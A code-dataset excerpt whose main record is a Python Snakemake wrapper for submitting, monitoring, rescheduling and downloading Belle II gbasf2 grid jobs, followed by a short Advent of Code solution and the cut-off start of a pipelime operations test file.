True)\nsteeringfile = snakemake.params.get(\"steeringfile\", \"\")\nsandbox_input_files = snakemake.params.get(\"sandbox_input_files\", [])\noutname = snakemake.params.get(\"gbasf2_output_file_name\", \"\")\noutput_filelist = snakemake.output.get(\"output_filelist\", \"\")\nproxy_text_file = snakemake.output.get(\"proxy_text_file\", \"proxy.dat\")\nsetProxy = snakemake.params.get(\"setProxy\", False)\n\n\nclass Gbasf2Process:\n def __init__(\n self,\n gbasf2_dataset,\n steering_file,\n release,\n sandbox_files,\n maxtries,\n outname,\n skimfiles,\n download_log_files=True,\n SetupOnly=False,\n ):\n self.dirac_user = get_dirac_user()\n self.gbasf2_project_name = hashlib.md5(gbasf2_dataset.encode()).hexdigest()\n self._command = [\n \"gbasf2\",\n steering_file,\n \"-p\",\n self.gbasf2_project_name,\n \"-i\",\n gbasf2_dataset,\n \"-s\",\n release,\n ]\n if len(sandbox_files) > 0:\n self._command.append(\"-f\")\n self._command += sandbox_files\n self._command.append(\"--force\")\n self._n_jobs_by_status = \"\"\n self.max_retries = maxtries\n self.wantLogs = download_log_files\n self._project_had_been_successful = False\n self._outname = outname\n self._steeringfile = steering_file\n self._skimfiles = skimfiles\n # Store number of times each job had been rescheduled\n self.n_retries_by_job = Counter()\n\n def start_job(self):\n self._log = f\"{os.path.splitext(self._skimfiles)[0]}_log.dat\"\n if check_project_exists(self.gbasf2_project_name, self.dirac_user):\n print(\n f\"\\nProject with name {self.gbasf2_project_name} already exists on grid, \"\n \"therefore not submitting new project. If you want to submit a new project, \"\n \"change the project name.\"\n )\n return\n log = open(self._log, \"a\")\n log.write(f\"submitting LCGrid job with command {self._command}\\n\")\n proc = run_with_gbasf2(\n self._command,\n cwd=os.path.dirname(self._steeringfile),\n ensure_proxy_initialized=True,\n capture_output=True,\n check=True,\n ) # execute this in steering file directory!\n # Check if there were any errors, since gb2_proxy_init often still exits without errorcode and sends messages to stdout\n out, err = proc.stdout, proc.stderr\n all_output = (\n out + err\n ) # gb2_proxy_init errors are usually in stdout, but for future-proofing also check stderr\n print(all_output)\n log.write(all_output + \"\\n\")\n log.close()\n\n def get_job_id(self):\n return self.gbasf2_project_name\n\n def get_job_status(self):\n \"\"\"\n Get overall status of the gbasf2 project.\n\n First obtain the status of all (sub-) jobs in a gbasf2 project, similar\n to ``gb2_job_status``, and return an overall project status, e.g. when\n all jobs are done, return ``JobStatus.successful`` to show that the\n gbasf2 project succeeded.\n \"\"\"\n job_status_dict = get_gbasf2_project_job_status_dict(\n self.gbasf2_project_name, dirac_user=self.dirac_user\n )\n n_jobs_by_status = Counter()\n for _, job_info in job_status_dict.items():\n n_jobs_by_status[job_info[\"Status\"]] += 1\n\n # recheck the status more closely, and correct\n # reason: sometimes 'Status' marked as 'Done',\n # while 'ApplicationStatus' is not 'Done'\n for _, job_info in job_status_dict.items():\n if job_info[\"Status\"] == \"Done\" and (\n job_info[\"ApplicationStatus\"] != \"Done\"\n ):\n n_jobs_by_status[\"Done\"] -= 1\n n_jobs_by_status[\"Failed\"] += 1\n\n job_status_string = str(dict(sorted(n_jobs_by_status.items()))).strip(\"{}\")\n print(f\"{job_status_string}\")\n self._n_jobs_by_status = n_jobs_by_status\n\n n_jobs = len(job_status_dict)\n n_done = n_jobs_by_status[\"Done\"]\n # note: \"Killed\" jobs also get moved to \"Failed\" after a while\n n_failed = n_jobs_by_status[\"Failed\"]\n n_in_final_state = n_done + n_failed\n\n # The gbasf2 project is considered as failed if any of the jobs in it failed.\n # However, we first try to reschedule thos jobs and only declare it as failed if the maximum number of retries\n # for reschedulinhas been reached\n if n_failed > 0:\n if self.max_retries > 0 and self._reschedule_failed_jobs():\n return \"RUN\"\n self._on_failure_action()\n return \"ABORTED FAILED JOB\"\n\n # task is running\n if n_in_final_state < n_jobs:\n return \"RUN\"\n\n # Require all jobs to be done for project success, any job failure results in a failed project\n if n_done == n_jobs:\n # download dataset only the first time that we return JobStatus.successful\n if not self._project_had_been_successful:\n try:\n self._on_first_success_action()\n self._project_had_been_successful = True\n # RuntimeError might occur when download of output dataset was not complete. This is\n # frequent, so we want to catch that error and just marking the job as failed\n except RuntimeError as err:\n warnings.warn(repr(err), RuntimeWarning)\n return \"ABORTED FAILED DOWNLOAD\"\n\n return \"DONE\"\n\n raise RuntimeError(\"Could not determine JobStatus\")\n\n def _on_first_success_action(self):\n pass\n \"\"\"\n Things to do after all jobs in the project had been successful, e.g. downloading the dataset and logs\n \"\"\"\n if self.wantLogs:\n self._download_logs()\n self._download_dataset()\n\n def _on_failure_action(self):\n \"\"\"\n Things to do after the project failed\n \"\"\"\n job_status_dict = get_gbasf2_project_job_status_dict(\n self.gbasf2_project_name, dirac_user=self.dirac_user\n )\n failed_job_dict = {\n job_id: job_info\n for job_id, job_info in job_status_dict.items()\n if job_info[\"Status\"] == \"Failed\"\n or (\n job_info[\"Status\"] == \"Done\" and job_info[\"ApplicationStatus\"] != \"Done\"\n )\n }\n n_failed = len(failed_job_dict)\n log = open(self._log, \"a\")\n log.write(f\"{n_failed} failed jobs:\\n{failed_job_dict}\\n\")\n log.close()\n self._download_logs()\n\n def _reschedule_failed_jobs(self):\n \"\"\"\n Tries to reschedule failed jobs in the project if ``self.max_retries`` has not been reached\n and returns ``True`` if rescheduling has been successful.\n \"\"\"\n jobs_to_be_rescheduled = []\n jobs_hitting_max_n_retries = []\n job_status_dict = get_gbasf2_project_job_status_dict(\n self.gbasf2_project_name, dirac_user=self.dirac_user\n )\n\n for job_id, job_info in job_status_dict.items():\n if job_info[\"Status\"] == \"Failed\" or (\n job_info[\"Status\"] == \"Done\" and job_info[\"ApplicationStatus\"] != \"Done\"\n ):\n if self.n_retries_by_job[job_id] < self.max_retries:\n self.n_retries_by_job[job_id] += 1\n jobs_to_be_rescheduled.append(job_id)\n else:\n jobs_hitting_max_n_retries.append(job_id)\n\n if jobs_to_be_rescheduled:\n self._reschedule_jobs(jobs_to_be_rescheduled)\n\n if jobs_hitting_max_n_retries:\n warnings.warn(\n f\"Reached maximum number of rescheduling tries ({self.max_retries}) for following jobs:\\n\\t\"\n + \"\\n\\t\".join(str(j) for j in jobs_hitting_max_n_retries)\n + \"\\n\",\n RuntimeWarning,\n )\n return False\n\n return True\n\n def _reschedule_jobs(self, job_ids):\n \"\"\"\n Reschedule chosen list of jobs.\n \"\"\"\n log = open(self._log, \"a\")\n log.write(\"Rescheduling jobs:\\n\")\n log.write(\n \"\\t\"\n + \"\\n\\t\".join(\n f\"{job_id} ({self.n_retries_by_job[job_id]} retries)\\n\"\n for job_id in job_ids\n )\n )\n log.close()\n print(\"Rescheduling jobs...\")\n reschedule_command = shlex.split(\n f\"gb2_job_reschedule --jobid {' '.join(job_ids)} --force\"\n )\n run_with_gbasf2(reschedule_command)\n\n def _get_gbasf2_dataset_query(self, output_file_name):\n \"\"\"\n Helper method that returns the gbasf2 query string with the correct wildcard pattern\n to get the subset of all files for ``output_file_name`` from the grid project associated with this task,\n either, e.g. via the ``gb2_ds_list`` or ``gb2_ds_get`` commands.\n\n Args:\n output_file_name: Output file name, must be a root file, e.g. ``ntuple.root``.\n \"\"\"\n if output_file_name != os.path.basename(output_file_name):\n raise ValueError(\n f'For grid projects, the output file name must not be a basename, not a path, but is \"{output_file_name}\"'\n )\n output_file_stem, output_file_ext = os.path.splitext(output_file_name)\n if output_file_ext != \".root\":\n raise ValueError(\n f'Output file name \"{output_file_name}\" does not end with \".root\", '\n \"but gbasf2 batch only supports root outputs\"\n )\n dataset_query_string = f\"/belle/user/{self.dirac_user}/{self.gbasf2_project_name}/sub*/{output_file_stem}_*{output_file_ext}\"\n return dataset_query_string\n\n def _local_gb2_dataset_is_complete(self, output_dir_path, output_file_name):\n \"\"\"\n Helper method that returns ``True`` if the download of the gbasf2\n dataset for the output ``output_file_name`` is complete.\n\n Args:\n output_file_name: Output file name, must be a root file, e.g. ``ntuple.root``.\n Usually defined by the user via :py:func:`b2luigi.Task.add_to_output` in\n \"\"\"\n # first get the local set of files in the dataset for `output_file_name`\n glob_expression = os.path.join(\n f\"{output_dir_path}\", self.gbasf2_project_name, \"sub*\", \"*.root\"\n )\n downloaded_dataset_basenames = [\n os.path.basename(fpath) for fpath in glob(glob_expression)\n ]\n # downloaded_dataset_basenames = [file for file in os.listdir(output_dir_path) if(file.endswith(\".root\"))]\n\n if not downloaded_dataset_basenames:\n return False\n\n # get the remote set of grid file names for the gbasf2 project output matching output_file_name\n ds_query_string = self._get_gbasf2_dataset_query(output_file_name)\n output_dataset_grid_filepaths = query_lpns(ds_query_string)\n output_dataset_basenames = [\n os.path.basename(grid_path) for grid_path in output_dataset_grid_filepaths\n ]\n # remove duplicate LFNs that gb2_ds_list returns for outputs from rescheduled jobs\n output_dataset_basenames = get_unique_lfns(output_dataset_basenames)\n # check if local and remote datasets are equal\n if set(output_dataset_basenames) == set(downloaded_dataset_basenames):\n return True\n return False\n\n def _download_dataset(self):\n \"\"\"\n Download the task outputs from the gbasf2 project dataset.\n\n For each task output defined via ``self.add_to_output(<name>.root)`` a\n directory will be created, into which all files named ``name_*.root`` on\n the grid dataset corresponding to the project name will be downloaded.\n The download is ensured to be automatic by first downloading into\n temporary directories.\n \"\"\"\n output_dir_path = os.path.dirname(self._log)\n if output_dir_path == \"\":\n output_dir_path = \".\"\n dataset_query_string = self._get_gbasf2_dataset_query(self._outname)\n\n # check if dataset had been already downloaded and if so, skip downloading\n log = open(self._log, \"a\")\n if os.path.isdir(output_dir_path) and self._local_gb2_dataset_is_complete(\n output_dir_path, self._outname\n ):\n log.write(\n f\"Dataset already exists in {output_dir_path}, skipping download.\\n\"\n )\n\n else:\n log.write(f\"Downloading dataset in {output_dir_path}.\\n\")\n\n if not check_dataset_exists_on_grid(\n self.gbasf2_project_name, dirac_user=self.dirac_user\n ):\n raise RuntimeError(\n f\"Not dataset to download under project name {self.gbasf2_project_name}\"\n )\n\n print(\"Downloading datasets...\")\n ds_get_command = shlex.split(f\"gb2_ds_get --force {dataset_query_string}\")\n log.write(\n f\"Downloading dataset into\\n {output_dir_path}\\n with command\\n \"\n + \" \".join(ds_get_command)\n + \"\\n\"\n )\n\n download_retries = 0 # try this download 3 times\n while (\n not self._local_gb2_dataset_is_complete(output_dir_path, self._outname)\n and download_retries < 3\n ):\n stdout = run_with_gbasf2(\n ds_get_command, cwd=output_dir_path, capture_output=True\n ).stdout\n log.write(stdout + \"\\n\")\n if \"No file found\" in stdout:\n raise RuntimeError(\n f\"No output data for gbasf2 project {self.gbasf2_project_name} found.\"\n )\n download_retries += 1\n\n if not self._local_gb2_dataset_is_complete(output_dir_path, self._outname):\n raise RuntimeError(\n f\"Download incomplete. The downloaded set of files in {output_dir_path} is not equal to the \"\n + f\"list of dataset files on the grid for project {self.gbasf2_project_name}.\",\n )\n\n log.write(f\"Download of {self.gbasf2_project_name} files successful.\\n\")\n with open(self._skimfiles, \"w\") as skim_files:\n files = []\n listing = os.listdir(f\"{output_dir_path}/{self.gbasf2_project_name}/\")\n for subdir in listing: # go through the /sub*\n path = f\"{output_dir_path}/{self.gbasf2_project_name}/{subdir}/\"\n files += [\n path + file for file in os.listdir(path) if (file.endswith(\".root\"))\n ]\n skim_files.write(json.dumps(files))\n log.write(f\"file directories written to {self._skimfiles}\\n\")\n log.close()\n print(\"Download successful.\")\n\n def _download_logs(self):\n \"\"\"\n Download sandbox files from grid with logs for each job in the gbasf2 project.\n\n It wraps ``gb2_job_output``, which downloads the job sandbox, which has the following structure:\n\n .. code-block:: text\n\n log\n └── <project name>\n ├── <first job id>\n │ ├── job.info\n │ ├── Script1_basf2helper.py.log # basf2 outputs\n │ └── std.out\n ├── <second job id>\n │ ├── ...\n ...\n\n These are stored in the task log dir.\n \"\"\"\n logpath = os.path.dirname(self._log)\n if logpath == \"\":\n logpath = \".\"\n download_logs_command = shlex.split(\n f\"gb2_job_output --user {self.dirac_user} -p {self.gbasf2_project_name}\"\n )\n print(\"Downloading logs...\")\n stdout = run_with_gbasf2(\n download_logs_command, cwd=logpath, capture_output=True\n ).stdout\n log = open(self._log, \"a\")\n log.write(stdout + \"\\n\")\n log.write(\n f\"Download of logs for gbasf2 project {self.gbasf2_project_name} successful.\\n\"\n )\n log.close()\n\n def kill_job(self):\n \"\"\"\n Kill gbasf2 project\n \"\"\"\n if not check_project_exists(\n self.gbasf2_project_name, dirac_user=self.dirac_user\n ):\n return\n # Note: The two commands ``gb2_job_delete`` and ``gb2_job_kill`` differ\n # in that deleted jobs are killed and removed from the job database,\n # while only killed jobs can be restarted.\n command = shlex.split(\n f\"gb2_job_kill --force --user {self.dirac_user} -p {self.gbasf2_project_name}\"\n )\n run_with_gbasf2(command)\n\n\ndef check_dataset_exists_on_grid(gbasf2_project_name, dirac_user=None):\n \"\"\"\n Check if an output dataset exists for the gbasf2 project\n \"\"\"\n lpns = query_lpns(gbasf2_project_name, dirac_user=dirac_user)\n return len(lpns) > 0\n\n\ndef get_gbasf2_project_job_status_dict(gbasf2_project_name, dirac_user=None):\n \"\"\"\n Returns a dictionary for all jobs in the project with a structure like the\n following, which I have taken and adapted from an example output::\n {\n \"<JobID>\": {\n \"SubmissionTime\": \"2020-03-27 13:08:49\",\n \"Owner\": \"<dirac username>\",\n \"JobGroup\": \"<ProjectName>\",\n \"ApplicationStatus\": \"Done\",\n \"HeartBeatTime\": \"2020-03-27 16:01:39\",\n \"Site\": \"LCG.KEK.jp\",\n \"MinorStatus\": \"Execution Complete\",\n \"LastUpdateTime\": \"2020-03-27 16:01:40\",\n \"Status\": \"<Job Status>\"\n }\n ...\n }\n For that purpose, the script in ``gbasf2_job_status.py`` is called. That\n script directly interfaces with Dirac via its API, but it only works with\n the gbasf2 environment and python2, which is why it is called as a\n subprocess. The job status dictionary is passed to this function via json.\n \"\"\"\n if dirac_user is None:\n dirac_user = get_dirac_user()\n job_status_script_path = os.path.join(\n os.path.dirname(os.path.realpath(__file__)), \"gbasf2_job_status.py\"\n )\n job_status_command = shlex.split(\n f\"{job_status_script_path} -p {gbasf2_project_name} --user {dirac_user}\"\n )\n proc = run_with_gbasf2(job_status_command, capture_output=True, check=False)\n # FIXME: use enum or similar to define my own return codes\n if proc.returncode == 3: # return code 3 means project does not exist yet\n raise RuntimeError(\n f\"\\nCould not find any jobs for project {gbasf2_project_name} on the grid.\\n\"\n + \"Probably there was an error during the project submission when running the gbasf2 command.\\n\"\n )\n job_status_json_string = proc.stdout\n return json.loads(job_status_json_string)\n\n\ndef check_project_exists(gbasf2_project_name, dirac_user=None):\n \"\"\"\n Check if we can find the gbasf2 project on the grid with ``gb2_job_status``.\n \"\"\"\n try:\n return bool(get_gbasf2_project_job_status_dict(gbasf2_project_name, dirac_user))\n except RuntimeError:\n return False\n\n\ndef run_with_gbasf2(\n cmd,\n *args,\n ensure_proxy_initialized=True,\n check=True,\n encoding=\"utf-8\",\n capture_output=False,\n **kwargs,\n):\n \"\"\"\n Call ``cmd`` in a subprocess with the gbasf2 environment.\n :param ensure_proxy_initialized: If this is True, check if the dirac proxy is initalized and alive and if not,\n initialize it.\n :param check: Whether to raise a ``CalledProcessError`` when the command returns with an error code.\n The default value ``True`` is the same as in ``subprocess.check_call()`` and different as in the\n normal ``run_with_gbasf2()`` command.\n :param capture_output: Whether to capture the ``stdout`` and ``stdin``.\n Same as setting them to in ``subprocess.PIPE``.\n The implementation of this argument was taken from the ``subprocess.run()`` in python3.8.\n :param encoding: Encoding to use for the interpretation of the command output.\n Different from normal subprocess commands, it by default assumes \"utf-8\". In that case, the returned\n ``stdout`` and ``stderr`` are strings and not byte-strings and the user doesn't have to decode them\n manually.\n :return: ``CompletedProcess`` instance\n \"\"\"\n if capture_output:\n if kwargs.get(\"stdout\") is not None or kwargs.get(\"stderr\") is not None:\n raise ValueError(\n \"stdout and stderr arguments may not be used \" \"with capture_output.\"\n )\n kwargs[\"stdout\"] = subprocess.PIPE\n kwargs[\"stderr\"] = subprocess.PIPE\n gbasf2_env = get_gbasf2_env()\n if ensure_proxy_initialized:\n setup_dirac_proxy()\n proc = subprocess.run(\n cmd, *args, check=check, encoding=encoding, env=gbasf2_env, **kwargs\n )\n return proc\n\n\ndef get_gbasf2_env(gbasf2_install_directory=None):\n \"\"\"\n Return the gbasf2 environment dict which can be used to run gbasf2 commands.\n :param gbasf2_install_directory: Directory into which gbasf2 has been\n installed. When set to the default value ``None``, it looks for the\n value of the ``gbasf2_install_directory`` setting and when that is not\n set, it uses the default of most installation instructions, which is\n ``~/gbasf2KEK``.\n :return: Dictionary containing the environment that you get from sourcing the gbasf2 setup script.\n \"\"\"\n if gbasf2_install_directory is None:\n # Use the latest gbasf2 release on CVMFS as the default gbasf2 install directory.\n # To get the directory of the latest release, take the parent of the \"pro\"\n # symlink which points to a sub-directory of the latest release.\n default_gbasf2_install_directory = os.path.realpath(\n os.path.join(\"/cvmfs/belle.kek.jp/grid/gbasf2/pro\", os.pardir, os.pardir)\n )\n gbasf2_install_directory = default_gbasf2_install_directory\n gbasf2_setup_path = os.path.join(\n gbasf2_install_directory, \"BelleDIRAC/gbasf2/tools/setup.sh\"\n )\n if not os.path.isfile(gbasf2_setup_path):\n raise FileNotFoundError(\n f\"Could not find gbasf2 setup file at:\\n{gbasf2_setup_path}.\\n\"\n f\"Make sure that `gbasf2_install_directory` is set correctly. Current setting:\\n{gbasf2_install_directory}.\\n\"\n )\n # complete bash command to set up the gbasf2 environment\n # piping output to /dev/null, because we want that our final script only prints the ``env`` output\n gbasf2_setup_command_str = f\"source {gbasf2_setup_path} > /dev/null\"\n # command to execute the gbasf2 setup command in a fresh shell and output the produced environment\n echo_gbasf2_env_command = shlex.split(\n f\"env -i bash -c '{gbasf2_setup_command_str} > /dev/null && env'\"\n )\n gbasf2_env_string = subprocess.run(\n echo_gbasf2_env_command, check=True, stdout=subprocess.PIPE, encoding=\"utf-8\"\n ).stdout\n gbasf2_env = dict(line.split(\"=\", 1) for line in gbasf2_env_string.splitlines())\n # The gbasf2 setup script on sets HOME to /ext/home/ueda if it's unset,\n # which later causes problems in the gb2_proxy_init subprocess. Therefore,\n # reset it to the caller's HOME.\n try:\n gbasf2_env[\"HOME\"] = os.environ[\"HOME\"]\n except KeyError:\n pass\n return gbasf2_env\n\n\ndef get_proxy_info():\n \"\"\"Run ``gbasf2_proxy_info.py`` to retrieve a dict of the proxy status.\"\"\"\n proxy_info_script_path = os.path.join(\n os.path.dirname(os.path.realpath(__file__)), \"gbasf2_proxy_info.py\"\n )\n\n # Setting ``ensure_proxy_initialized=False`` is vital here, otherwise we get\n # an infinite loop because run_with_gbasf2 will then check for the proxy info\n proc = run_with_gbasf2(\n [proxy_info_script_path],\n capture_output=True,\n ensure_proxy_initialized=False,\n )\n return json.loads(proc.stdout)\n\n\ndef get_dirac_user():\n \"\"\"Get dirac user name.\"\"\"\n # ensure proxy is initialized, because get_proxy_info can't do it, otherwise\n # it causes an infinite loop\n setup_dirac_proxy()\n try:\n return get_proxy_info()[\"username\"]\n except KeyError as err:\n raise RuntimeError(\n \"Could not obtain dirac user name from `gb2_proxy_init` output.\"\n ) from err\n\n\ndef setup_dirac_proxy():\n \"\"\"Run ``gb2_proxy_init -g belle`` if there's no active dirac proxy. If there is, do nothing.\"\"\"\n # first run script to check if proxy is already alive or needs to be initalized\n try:\n if get_proxy_info()[\"secondsLeft\"] > 3600 * gbasf2_min_proxy_lifetime:\n return\n # error is raised if proxy hasn't been initialized yet, in that case also process with initialization\n except subprocess.CalledProcessError:\n pass\n\n # initialize proxy\n lifetime = gbasf2_proxy_lifetime\n if not isinstance(lifetime, int) or lifetime <= 0:\n warnings.warn(\n \"Setting 'gbasf2_proxy_lifetime' should be a positive integer.\",\n RuntimeWarning,\n )\n hours = int(lifetime)\n proxy_init_cmd = shlex.split(f\"gb2_proxy_init -g belle -v {hours}:00 --pwstdin\")\n\n while True:\n pwd = getpass(\"Certificate password: \")\n try:\n proc = run_with_gbasf2(\n proxy_init_cmd,\n input=pwd,\n ensure_proxy_initialized=False,\n capture_output=True,\n check=True,\n )\n finally:\n del pwd\n # Check if there were any errors, since gb2_proxy_init often still exits without errorcode and sends messages to stdout\n out, err = proc.stdout, proc.stderr\n all_output = (\n out + err\n ) # gb2_proxy_init errors are usually in stdout, but for future-proofing also check stderr\n\n # if wrong password, retry password entry\n # usually the output then contains \"Bad passphrase\", but for future-proofing we check \"bad pass\"\n if \"bad pass\" in all_output.lower():\n print(\"Wrong certificate password, please try again.\", file=sys.stderr)\n continue\n\n # for all other errors, raise an exception and abort\n # Usually for errors, the output contains the line: \"Error: Operation not permitted ( 1 : )\"\n if \"error\" in all_output.lower():\n raise subprocess.CalledProcessError(\n returncode=errno.EPERM,\n cmd=proxy_init_cmd,\n output=(\n \"There seems to be an error in the output of gb2_proxy_init.\"\n f\"\\nCommand output:\\n{out}\"\n ),\n )\n # if no wrong password and no other errors, stop loop and return\n return\n\n\ndef query_lpns(ds_query: str, dirac_user: Optional[str] = None) -> List[str]:\n \"\"\"\n Query DIRAC for LPNs matching query, and return them as a list.\n This function exists to avoid manual string parsing of ``gb2_ds_list``.\n \"\"\"\n if dirac_user is None:\n dirac_user = get_dirac_user()\n\n ds_list_script_path = os.path.join(\n os.path.dirname(os.path.realpath(__file__)), \"gbasf2_ds_list.py\"\n )\n\n query_cmd = [ds_list_script_path, \"--dataset\", ds_query, \"--user\", dirac_user]\n proc = run_with_gbasf2(\n query_cmd,\n capture_output=True,\n ensure_proxy_initialized=True,\n )\n\n lpns = json.loads(proc.stdout)\n if not isinstance(lpns, list):\n raise TypeError(\n f\"Expected gbasf2 dataset query to return list, but instead the command\\n{query_cmd}\\n\"\n + f\"returned: {lpns}\"\n )\n return lpns\n\n\ndef lfn_follows_gb2v5_convention(lfn: str) -> bool:\n \"\"\"\n Check if the LFN follows the convention of gbasf2 release 5, i.e.\n <name>_<gbasf2param>_<jobID>_<rescheduleNum>.root\n Args:\n lfn: Logical file name, a file path on the grid\n \"\"\"\n # adapted the logic from the BelleDirac function ``findDuplicatedJobID()``\n if len(lfn.split(\"_\")) < 2 or \"job\" not in lfn.split(\"_\")[-2]:\n return False\n return True\n\n\ndef _get_lfn_upto_reschedule_number(lfn: str) -> str:\n \"\"\"\n Get a string of the gbasf2 v5 LFN upto the reschule number.\n E.g. if the LFN is ``<name>_<gbasf2param>_<jobID>_<rescheduleNum>.root``\n return ````<name>_<gbasf2param>_<jobID>``.\n \"\"\"\n if not lfn_follows_gb2v5_convention(lfn):\n raise ValueError(\n \"LFN does does not conform to the new gbasf2 v5 style, \"\n \"thus getting the substring upto the reschedule number does not make sense\"\n )\n return \"_\".join(lfn.split(\"_\")[:-1])\n\n\ndef get_unique_lfns(lfns: Iterable[str]) -> Set[str]:\n \"\"\"\n From list of gbasf2 LFNs which include duplicate outputs for rescheduled\n jobs return filtered list which only include the LFNs for the jobs with the\n highest reschedule number.\n Gbasf2 v5 has outputs of the form\n ``<name>_<gbasf2param>_<jobID>_<rescheduleNum>.root``. When using\n ``gb2_ds_list``, we see duplicates LFNs where all parts are the same accept\n the ``rescheduleNum``. This function returns only those with the highest number.\n \"\"\"\n # if dataset does not follow gbasf2 v5 convention, assume it was produced\n # with old release and does not contain duplicates\n if not all(lfn_follows_gb2v5_convention(lfn) for lfn in lfns):\n return set(lfns)\n # if it is of the gbasf v5 form, group the outputs by the substring upto the\n # reschedule number and return list of maximums of each group\n lfns = sorted(lfns, key=_get_lfn_upto_reschedule_number)\n return {\n max(lfn_group)\n for _, lfn_group in groupby(lfns, key=_get_lfn_upto_reschedule_number)\n }\n\n\n# initialize submit command\nBatchJob = Gbasf2Process(\n steering_file=steeringfile,\n gbasf2_dataset=gbasf2_dataset,\n release=release,\n sandbox_files=sandbox_input_files,\n maxtries=maxretries,\n outname=outname,\n skimfiles=output_filelist,\n download_log_files=download_logs,\n)\n\nif setProxy:\n timenow = datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n with open(proxy_text_file, \"w+\") as f:\n f.write(f\"Proxy initialized at {timenow}.\")\nelse:\n # submit job\n BatchJob.start_job()\n time.sleep(10)\n\n # check job status regularly\n while BatchJob.get_job_status() in [\"RUN\", \"PEND\"]:\n timenow = datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n print(f\"Job {BatchJob.get_job_id()} still running at {timenow}\")\n time.sleep(10)\n\n # raise error if job is not running anymore and not done\n if BatchJob.get_job_status() != \"DONE\":\n raise RuntimeError(\n f\"ERROR: Job {BatchJob.get_job_id()} failed with status {BatchJob.get_job_status()}!\"\n )\n","repo_name":"casschmitt/gbasf2_wrapper_for_snakemake","sub_path":"wrapper.py","file_name":"wrapper.py","file_ext":"py","file_size_in_byte":32173,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"1391643720","text":"import sys\n\nnumbers = list(enumerate((int(x.strip()) for x in sys.stdin)))\n\nINVALID_NUM = 776203571\n\ndef find_invalid():\n for i, num_start in numbers:\n for j, num_end in numbers[i+1:]:\n rng = list(zip(*numbers[i:j+1]))[1]\n if sum(rng) == INVALID_NUM:\n print(max(rng) + min(rng))\n return\n\n\nfind_invalid()\n\n","repo_name":"kontheocharis/advent-of-code-2020","sub_path":"day-09/part2.py","file_name":"part2.py","file_ext":"py","file_size_in_byte":367,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"22416247934","text":"import functools\nimport hashlib\nfrom itertools import count\nfrom typing import Dict, Optional, Sequence\nimport uuid\nimport numpy as np\n\nimport pydash\nimport pytest\nimport rich\nfrom choixe.spooks import Spook\n\nfrom pipelime.sequences.operations import (\n MappableOperation,\n OperationDict2List,\n OperationFilterByQuery,\n OperationFilterByScript,\n OperationFilterKeys,\n OperationFlatten,\n OperationGroupBy,\n OperationIdentity,\n # OperationMix,\n OperationOrderBy,\n OperationPort,\n OperationRemapKeys,\n OperationResetIndices,\n OperationShuffle,\n OperationSplitByQuery,\n OperationSplitByValue,\n OperationSplits,\n OperationStage,\n OperationSubsample,\n OperationSum,\n SequenceOperation,\n OperationRemoveDuplicates,\n)\nfrom pipelime.sequences.samples import Sample, SamplesSequence\nfrom pipelime.sequences.stages import StageRemap\nfrom pipelime.tools.idgenerators import IdGeneratorInteger, IdGeneratorUUID\n\n\ndef _plug_test(op: SequenceOperation, check_serialization: bool = True):\n \"\"\"Test what a generic SequenceOperation should do\n\n :param op: input SequenceOperation\n :type op: SequenceOperation\n :param check_serialization: True to also check serialization/deserialization\n :type check_serialization: bool\n \"\"\"\n\n assert isinstance(op, SequenceOperation)\n assert isinstance(op.input_port(), OperationPort)\n assert isinstance(op.output_port(), OperationPort)\n assert op.input_port().match(op.input_port())\n assert op.output_port().match(op.output_port())\n\n if check_serialization:\n reop = op.from_dict(op.to_dict())\n assert isinstance(reop, SequenceOperation)\n schema = op.spook_schema()\n assert isinstance(schema, dict) or schema is None\n op.print()\n\n factored = Spook.create(op.serialize())\n assert isinstance(factored, SequenceOperation)\n\n\nclass TestOperationSum(object):\n def test_sum(self, plain_samples_sequence_generator):\n\n pairs = [(32, 5), (32, 1), (8, 32), (1, 24), (0, 64), (48, 0)]\n\n for N, D in pairs:\n datasets = []\n for idx in range(D):\n datasets.append(plain_samples_sequence_generator(\"d{idx}_\", N))\n\n op = OperationSum()\n _plug_test(op)\n\n if D > 0:\n out = op(datasets)\n\n assert isinstance(out, SamplesSequence)\n assert N * D == len(out)\n else:\n assert op.input_port().is_valid_data(datasets)\n out = op(datasets)\n\n\nclass TestOperationSubsample(object):\n def test_subsample(self, plain_samples_sequence_generator):\n\n sizes = [32, 10, 128, 16, 1]\n factors = [2, 0.1, -0.1, 10.2, 10, 20, 1.0, 1]\n\n for F in factors:\n for N in sizes:\n dataset = plain_samples_sequence_generator(\"d0_\", N)\n\n op = OperationSubsample(factor=F)\n _plug_test(op)\n\n if N > 0:\n out = op(dataset)\n\n assert isinstance(out, SamplesSequence)\n\n if isinstance(F, int):\n if F > 1 and N > 1:\n assert len(out) < N\n if F == 1:\n assert len(out) == N\n\n if isinstance(F, float):\n if 0.0 < F < 1.0:\n assert len(out) < N\n\n if F == 1.0:\n assert len(out) == N\n\n def test_subsample_start(self, plain_samples_sequence_generator):\n\n sizes = [32, 10, 128, 16, 1]\n factors_int = [2, 10, 20, 1]\n factors_float = [0.1, -0.1, 10.2, 1.0]\n starts_int = [-1, 0, 1, 2, 10, 0.5]\n starts_float = [-0.1, 0.0, 0.1, 0.5, 0.9]\n\n # test with integer inputs\n for F in factors_int:\n for N in sizes:\n for S in starts_int:\n dataset = plain_samples_sequence_generator(\"d0_\", N)\n\n if S < 0:\n with pytest.raises(Exception):\n op = OperationSubsample(factor=F, start=S)\n continue\n\n if isinstance(S, float):\n with pytest.raises(Exception):\n op = OperationSubsample(factor=F, start=S)\n continue\n\n op = OperationSubsample(factor=F, start=S)\n _plug_test(op)\n\n if N > 0:\n out = op(dataset)\n\n assert isinstance(out, SamplesSequence)\n\n if F > 1 and N > 1:\n assert len(out) < N\n if F == 1 and S == 0:\n assert len(out) == N\n\n # test with float inputs\n for F in factors_float:\n for N in sizes:\n for S in starts_float:\n dataset = plain_samples_sequence_generator(\"d0_\", N)\n\n if S < 0:\n with pytest.raises(Exception):\n op = OperationSubsample(factor=F, start=S)\n continue\n\n op = OperationSubsample(factor=F, start=S)\n _plug_test(op)\n\n if N > 0:\n out = op(dataset)\n\n assert isinstance(out, SamplesSequence)\n\n op = OperationSubsample(factor=F, start=S)\n _plug_test(op)\n\n if 0.0 < F < 1.0:\n assert len(out) < N\n\n if F == 1.0 and S == 0.0:\n assert len(out) == N\n\n\nclass TestOperationIdentity(object):\n def test_subsample(self, 